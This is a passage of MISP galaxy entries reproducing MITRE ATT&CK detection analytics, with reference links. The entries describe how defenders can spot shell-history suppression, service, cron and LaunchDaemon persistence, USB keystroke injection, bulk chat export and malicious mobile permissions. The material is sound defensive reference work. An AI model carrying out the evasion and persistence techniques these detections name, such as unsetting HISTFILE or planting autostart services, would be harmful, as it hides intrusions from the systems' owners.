The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1849 - AN1849"*

Table 7698. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0718#AN1849

Analytic 1499 - AN1499

VMware services (hostd, vpxa) unexpectedly negotiating asymmetric crypto sessions to external endpoints outside vCenter or update servers. Defender sees encrypted handshakes in logs inconsistent with baseline ESXi communication patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1499 - AN1499"*

Table 7699. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543#AN1499

Analytic 1949 - AN1949

Monitoring the content of network traffic can help detect patterns associated with active scanning activities. This can include identifying repeated connection attempts, unusual scanning behaviors, or probing activity targeting multiple IP addresses across a network. Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1949 - AN1949"*

Table 7700. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0817#AN1949

Analytic 1994 - AN1994

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1994 - AN1994"*

Table 7701. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0862#AN1994

Analytic 1555 - AN1555

Detection of environment variable tampering (HISTFILE, HISTCONTROL, HISTFILESIZE) and

absence of expected bash history writes. Correlation of unset or zeroed history variables with active shell sessions is indicative of adversarial evasion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1555 - AN1555"*

Table 7702. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563#AN1555

Analytic 1565 - AN1565

Atypical access to Slack or Teams conversations via APIs, automation tokens, or bulk message export functionality, particularly after an account takeover or rare sign-in pattern. Often includes mass retrieval of chat history, download of message content, or scraping of workspace/channel metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1565 - AN1565"*

Table 7703. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0567#AN1565

Analytic 1556 - AN1556

Detection of bash/zsh history suppression via HISTFILE/HISTCONTROL manipulation and absence of ~/.bash_history updates. Observing environment variable changes tied to terminal processes is a strong indicator.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1556 - AN1556"*

Table 7704. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563#AN1556

Analytic 1655 - AN1655

Application vetting services could closely scrutinize applications that request Device Administrator permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1655 - AN1655"*

Table 7705. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0605#AN1655

Analytic 1557 - AN1557

Detection of PowerShell history suppression using Set-PSReadLineOption with SaveNothing or altered HistorySavePath. Correlating these options with PowerShell usage highlights adversarial evasion attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1557 - AN1557"*

Table 7706. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563#AN1557

Analytic 1575 - AN1575

Detects command-line or API-based creation/modification of Windows Services via `sc.exe`, `powershell.exe`, `services.exe`, or `ChangeServiceConfig`. Looks for creation/modification of autostart services via registry changes, file drops to `System32\services`, and anomalous parent-child process trees.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1575 - AN1575"*

Table 7707. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0571#AN1575

Analytic 1755 - AN1755

Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. Application vetting may be able to identify applications that perform [Discovery](https://attack.mitre.org/tactics/TA0032) or utilize existing connectivity to remotely access hosts within an internal enterprise network.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1755 - AN1755"*

Table 7708. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0663#AN1755

Analytic 1585 - AN1585

Execution of built-in or AppleScript-based system enumeration via `arp`, `netstat`, `ping`, and discovery of `/etc/hosts` contents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1585 - AN1585"*

Table 7709. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574#AN1585

Analytic 1558 - AN1558

Detection of unset HISTFILE or modified history variables in ESXi shell sessions. Correlation of suspicious shell sessions with no recorded commands despite active usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1558 - AN1558"*

Table 7710. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563#AN1558

Analytic 1595 - AN1595

Monitor for suspicious usage of driver enumeration utilities (driverquery.exe) or API calls such as EnumDeviceDrivers(). Registry queries against HKLM\SYSTEM\CurrentControlSet\Services and HardwareProfiles that are abnormal may also indicate attempts to discover installed drivers and services. Correlate command execution, process creation, and registry access to build a behavioral chain of driver discovery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1595 - AN1595"*

Table 7711. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0579#AN1595

Analytic 1955 - AN1955

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1955 - AN1955"*

Table 7712. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0823#AN1955
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

Analytic 1559 - AN1559

Detection of CLI commands that disable history logging such as 'no logging'. Anomalous lack of new commands in session logs while activity persists is a strong signal.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1559 - AN1559"*

Table 7713. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0563#AN1559

Analytic 1566 - AN1566

Suspicious access to Microsoft Teams chat messages via eDiscovery, Graph API, or export methods after rare or compromised sign-in. Often associated with excessive file access, sensitive content review, or anomaly from expected user behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1566 - AN1566"*

Table 7714. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0567#AN1566

Analytic 1665 - AN1665

The user can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification → Special app access → Notification access). Application vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1665 - AN1665"*

Table 7715. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0611#AN1665

Analytic 1656 - AN1656

The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service or request device administrator permissions should be scrutinized further for malicious behavior. Application vetting services can look for applications that request permissions to Accessibility services or application overlay. Monitor for API calls that are related to GooglePlayServices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1656 - AN1656"*

Table 7716. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0606#AN1656

Analytic 1567 - AN1567

Detects suspicious USB HID device enumeration and keystroke injection patterns, such as rapid sequences of input with no user context, scripts executed through simulated keystrokes, or rogue devices presenting themselves as keyboards.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1567 - AN1567"*

Table 7717. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0568#AN1567

Analytic 1576 - AN1576

Detects creation or modification of `systemd` service units, addition of cron jobs that invoke binaries on boot, or suspicious writes to `/etc/init.d/`. Monitors `chmod +x` and `systemctl` execution paths, especially from non-root parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1576 - AN1576"*

Table 7718. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0571#AN1576

Analytic 1756 - AN1756

Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. Application vetting may be able to identify applications that perform [Discovery](https://attack.mitre.org/tactics/TA0032) or utilize existing connectivity to remotely access hosts within an internal enterprise network.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1756 - AN1756"*

Table 7719. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0663#AN1756

Analytic 1675 - AN1675

Many properly configured firewalls may naturally block command and control traffic. Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1675 - AN1675"*

Table 7720. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0617#AN1675

Analytic 1765 - AN1765

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1765 - AN1765"*

Table 7721. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0669#AN1765
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/

Analytic 1657 - AN1657

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1657 - AN1657"*

Table 7722. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0607#AN1657
https://partner.samsungknox.com/mtd

Analytic 1586 - AN1586

ESXi shell or SSH access issuing `esxcli network diag ping` or viewing routing tables to identify connected hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1586 - AN1586"*

Table 7723. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574#AN1586

Analytic 1568 - AN1568

Detects USB HID device enumeration under `/sys/bus/usb/devices/` and rapid keystroke injection resulting in command execution such as bash or Python scripts launched without interactive user activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1568 - AN1568"*

Table 7724. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0568#AN1568

Analytic 1685 - AN1685

Application vetting services could look for misuse of dynamic libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1685 - AN1685"*

Table 7725. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0622#AN1685

Analytic 1658 - AN1658

Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1658 - AN1658"*

Table 7726. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0607#AN1658
https://partner.samsungknox.com/mtd

Analytic 1965 - AN1965

Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1965 - AN1965"*

Table 7727. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0833#AN1965

Analytic 1569 - AN1569

Detects abnormal HID device enumeration via I/O Registry (ioreg -p IOUSB) and keystroke injection targeting AppleScript, osascript, or PowerShell equivalents. Defender correlates new USB device connections with rapid script execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1569 - AN1569"*

Table 7728. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0568#AN1569

Analytic 1956 - AN1956

If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) .

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1956 - AN1956"*

Table 7729. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0824#AN1956

Analytic 1596 - AN1596

Detect attempts to enumerate kernel modules through lsmod, modinfo, or inspection of /proc/modules and /dev entries. Focus on unusual execution contexts such as unprivileged users or processes outside expected administrative workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1596 - AN1596"*

Table 7730. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0579#AN1596

Analytic 1659 - AN1659

On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1659 - AN1659"*

Table 7731. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0608#AN1659

Analytic 1695 - AN1695

On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1695 - AN1695"*

Table 7732. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0627#AN1695

Analytic 1577 - AN1577

Detects creation or modification of `LaunchDaemon` or `LaunchAgent` plist files under `/Library/LaunchDaemons/`, `~/Library/LaunchAgents/`, or similar. Monitors execution of `launchctl`, property list edits, and file permission changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1577 - AN1577"*

Table 7733. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0571#AN1577

Analytic 1775 - AN1775

Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application's manifest, or `NSCalendarsUsageDescription` in an iOS application's `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1775 - AN1775"*

Table 7734. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0674#AN1775

Analytic 1757 - AN1757

Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1757 - AN1757"*

Table 7735. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0664#AN1757

Analytic 1578 - AN1578

Detects creation of new container system processes via `docker run --restart`, `kubectl exec` to init containers, or modification of container init specs. Flags container images that override entrypoints to embed persistence behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1578 - AN1578"*

Table 7736. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0571#AN1578

Analytic 1587 - AN1587

Execution of discovery commands like `show cdp neighbors`, `show arp`, and other interface-level introspection on Cisco or Juniper devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1587 - AN1587"*

Table 7737. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574#AN1587

Analytic 1785 - AN1785

Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1785 - AN1785"*

Table 7738. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0680#AN1785

Analytic 1758 - AN1758

Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1758 - AN1758"*

Table 7739. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0665#AN1758

Analytic 1579 - AN1579

Detects assignment of high-privilege roles to user or service accounts via Kubernetes RoleBinding or ClusterRoleBinding objects, especially outside of CI/CD automation or from unknown IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1579 - AN1579"*

Table 7740. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0572#AN1579

Analytic 1597 - AN1597

Detect loading or inspection of kernel extensions (kextstat, kextfind) and file access to /System/Library/Extensions/. Monitor unexpected usage of these utilities by non-administrative users or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1597 - AN1597"*

Table 7741. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0579#AN1597

Analytic 1975 - AN1975

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1975 - AN1975"*

Table 7742. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0843#AN1975

Analytic 1957 - AN1957

If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1957 - AN1957"*

Table 7743. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0825#AN1957

Analytic 1759 - AN1759

Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1759 - AN1759"*

Table 7744. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0665#AN1759

Analytic 1795 - AN1795

Application vetting services could look for `android.permission.READ_SMS` in an Android application's manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1795 - AN1795"*

Table 7745. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0686#AN1795

Analytic 1588 - AN1588

Detection focuses on monitoring registry modifications under HKLM\SOFTWARE\Microsoft\Netsh that indicate the addition of helper DLLs, followed by anomalous child process activity or module load behavior initiated by netsh.exe. These behaviors are rarely legitimate and may represent an adversary establishing persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1588 - AN1588"*

Table 7746. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0575#AN1588

Analytic 1985 - AN1985

Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. Consider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1985 - AN1985"*

Table 7747. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0853#AN1985
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Analytic 1958 - AN1958

Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1958 - AN1958"*

Table 7748. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0826#AN1958
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1598 - AN1598

Detects registration of new or modified network provider DLLs via registry changes, anomalous file creation of DLLs in system directories, and suspicious process activity (mpnotify.exe interacting with non-standard DLLs). Multi-event correlation ties registry modification events to subsequent DLL loads during user logon activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1598 - AN1598"*

Table 7749. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0580#AN1598

Analytic 1589 - AN1589

Creation of inbox rules via PowerShell (New-InboxRule) or transport rules using Exchange cmdlets. Correlates user behavior, cmdlet usage, and rule properties.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1589 - AN1589"*

Table 7750. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0576#AN1589

Analytic 1995 - AN1995

Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Monitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1995 - AN1995"*

Table 7751. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0863#AN1995
https://unit42.paloaltonetworks.com/domain-shadowing/

Analytic 1959 - AN1959

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1959 - AN1959"*

Table 7752. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0827#AN1959

Analytic 1599 - AN1599

Suspicious process initiating outbound connections to web services without corresponding response or return traffic, indicative of one-way command channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1599 - AN1599"*

Table 7753. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0581#AN1599

Analytic 1666 - AN1666

The user can view applications that have registered accessibility services in the accessibility menu within the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1666 - AN1666"*

Table 7754. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0612#AN1666

Analytic 1766 - AN1766

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1766 - AN1766"*

Table 7755. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0669#AN1766
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/

Analytic 1667 - AN1667

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been

recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1667 - AN1667"*

Table 7756. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0613#AN1667
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/

Analytic 1676 - AN1676

Many properly configured firewalls may naturally block command and control traffic. Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1676 - AN1676"*

Table 7757. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0617#AN1676

Analytic 1686 - AN1686

Application vetting services could look for misuse of dynamic libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1686 - AN1686"*

Table 7758. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0622#AN1686

Analytic 1668 - AN1668

Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1668 - AN1668"*

Table 7759. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0613#AN1668
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/

Analytic 1966 - AN1966

If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1966 - AN1966"*

Table 7760. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0834#AN1966

Analytic 1669 - AN1669

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1669 - AN1669"*

Table 7761. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0614#AN1669

Analytic 1696 - AN1696

On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1696 - AN1696"*

Table 7762. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0627#AN1696

Analytic 1677 - AN1677

Application vetting services may be able to list domains and/or IP addresses that applications communicate with. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1677 - AN1677"*

Table 7763. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0618#AN1677

Analytic 1776 - AN1776

In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1776 - AN1776"*

Table 7764. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0675#AN1776

Analytic 1767 - AN1767

